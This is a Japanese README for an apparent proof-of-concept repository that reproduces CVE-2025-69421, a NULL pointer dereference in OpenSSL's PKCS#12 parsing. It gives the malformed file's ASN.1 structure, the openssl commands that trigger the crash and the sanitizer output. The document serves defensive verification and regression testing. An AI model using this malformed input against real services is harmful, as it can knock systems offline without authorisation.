
このリポジトリには、隔離された実験環境で CVE-2025-69421 を再現する 最小限の不正な PKCS#12 ファイルが含まれています。
生成された PFX には、オプションの encryptedContent フィールドが省略された
EncryptedContentInfo を持つ EncryptedData が含まれています。脆弱な OpenSSL
バージョンでは、PKCS12_unpack_p7encdata() から
PKCS12_item_decrypt_d2i_ex() に NULL の ASN1_OCTET_STRING ポインタが渡され、
NULL チェックなしで逆参照される可能性があります。
この再現器はサービス拒否状態のみを実証します。コード実行や情報漏えいは 行いません。
.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
└── ubsan-output.txt
PoC を実行する前にビルドディレクトリを設定します:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
OPENSSL_BUILD には、脆弱な libcrypto.so.3 と、対応する
apps/openssl バイナリが含まれている必要があります。
事前生成されたファイルが含まれています。再作成するには:
python3 generate.py
出力は次のとおりです:
malformed-cve-2025-69421.p12
openssl asn1parse \
-inform DER \
-in malformed-cve-2025-69421.p12 \
-i
関連する構造は次のとおりです:
PFX
├── version = 3
└── authSafe: ContentInfo(data)
└── OCTET STRING
└── AuthenticatedSafe
└── ContentInfo(encryptedData)
└── EncryptedData
├── version = 0
└── EncryptedContentInfo
├── contentType = data
├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
└── encryptedContent = absent
ヘルパースクリプトを使用する場合:
export OPENSSL_BUILD=/path/to/openssl-build
./run.sh
同等の手動コマンド:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
-in malformed-cve-2025-69421.p12 \
-info \
-noout \
-passin pass:test
Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
#0 0x... in PKCS12_item_decrypt_d2i_ex (/path/to/openssl-build/libcrypto.so.3+0x...)
#1 0x... in PKCS12_unpack_p7encdata (/path/to/openssl-build/libcrypto.so.3+0x...)
#2 0x... in dump_certs_keys_p12 (/path/to/openssl-build/apps/openssl+0x...)
#3 0x... in pkcs12_main (/path/to/openssl-build/apps/openssl+0x...)
重要な指標は次のとおりです:
member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata
修正済みの OpenSSL ビルドは、サニタイザの検出やプロセスのクラッシュなしに、 不正な入力を拒否するはずです。エラーには次のものが含まれる場合があります:
PKCS12_item_decrypt_d2i_ex:passed a null parameter
CVE: CVE-2025-69421
Component: OpenSSL PKCS#12 processing
Trigger: EncryptedData with absent encryptedContent
Fault: NULL pointer dereference
Function: PKCS12_item_decrypt_d2i_ex()
Reachable through: PKCS12_unpack_p7encdata()
Impact: Denial of Service
この再現器は、所有しているシステム、またはテストを明示的に許可された システムでのみ使用してください。同梱の成果物は、防御的な検証と リグレッションテストを目的としています。